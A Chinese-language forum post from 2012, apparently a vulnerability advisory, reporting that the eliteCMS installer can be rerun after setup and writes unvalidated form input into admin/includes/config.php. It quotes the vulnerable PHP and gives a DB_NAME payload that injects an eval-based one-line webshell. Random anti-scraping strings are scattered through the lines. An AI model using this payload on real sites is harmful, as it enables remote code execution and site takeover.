找回密码
 立即注册
查看: 2777|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装" @+ X6 R  a' G

  w+ ~) h9 W. {' S8 o另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php5 ^$ d$ x8 A% {2 r7 P
我们来看代码:
' m7 U0 h* F& H: K: e$ j: g
% _5 [# Q) Z5 a" v...
+ j8 i0 g. y2 \+ b+ o7 qelseif ($_GET['step'] == "4") {1 p5 A# I! E$ G+ K0 V
    $file = "../admin/includes/config.php";
$ f4 H7 l0 j& v8 r! h    $write = "<?php\n";
$ l/ w6 E/ s: N* W( {* L9 ^7 j. P3 l    $write .= "/**\n";6 D; E8 Q7 B8 j8 i
    $write .= "*\n";; p9 M" \6 j+ n! w
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
' l% y6 q  c. [...略...; W  W. b1 a% F
    $write .= "*\n";1 g5 J3 O9 \! e  O- B
    $write .= "*/\n";& Q5 Q) N* z9 W$ {1 d
    $write .= "\n";" w/ H( S2 ~% S7 C
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";$ a7 p/ a, y8 P" {+ \
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";4 x3 E. }$ d# t9 O+ F$ b
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
5 Y( P  k& h7 S( x+ w    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
5 O  h5 t% D$ h: C1 U9 a( r    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
; X3 C! A. x4 k5 s. [    $write .= "if (!\$connection) {\n";" [' P6 X3 z* U3 T2 N% r
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
  v( d% s( p- V    $write .= "        \n";  H8 {5 D4 n- a  A  H+ z
    $write .= "} \n";
8 _. V! s$ K5 f$ b- j( c  G/ X    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";, K( P% R- g$ U1 K; W9 D
    $write .= "if (!\$db_select) {\n";7 q$ r+ ?/ _3 A* s# B5 x1 b% ]
    $write .= "        die(\"Database select failed\" .mysql_error());\n";# E4 {( q/ s1 {( |  ^' W( G( j
    $write .= "        \n";8 p- Z2 A! i' \/ n2 |  s
    $write .= "} \n";1 P) @2 u. Y* r1 B3 @; E
    $write .= "?>\n";0 h2 F4 X. D7 S4 G
1 ~$ ?: J7 L( m# H
    $writer = fopen($file, 'w');
+ T) w4 u8 N+ @" q...1 \; M) ^( v( j. z
' o* P6 t" ~1 t( ~5 {
在看代码:) l" M/ j$ @  p+ p3 Y) }0 _

3 C& t3 M% ], u% M2 d; {' s$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];7 X( b2 ]4 t, t" P7 y: h
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];1 U& [  y& o; ?' |
$_SESSION['DB_USER'] = $_POST['DB_USER'];
) N. t8 |4 v8 r# M- `$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
- S7 Q, l# W* S: y: R
. E6 R3 l3 `% u9 `) B- R8 F取值未作任何验证. }1 v( e- K2 y3 _% e- B  ?- S
如果将数据库名POST数据:! P/ L7 C! X4 o. s9 C3 G

5 ~1 H) h8 d  g5 i# r"?><?php eval($_POST[c]);?><?php+ Y6 b  d- Y8 _, l8 Z0 A7 r

1 T2 a3 `; d4 W5 }0 O! c( w3 j将导致一句话后门写入/admin/includes/config.php) E% O/ h6 k5 z+ {7 Z1 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表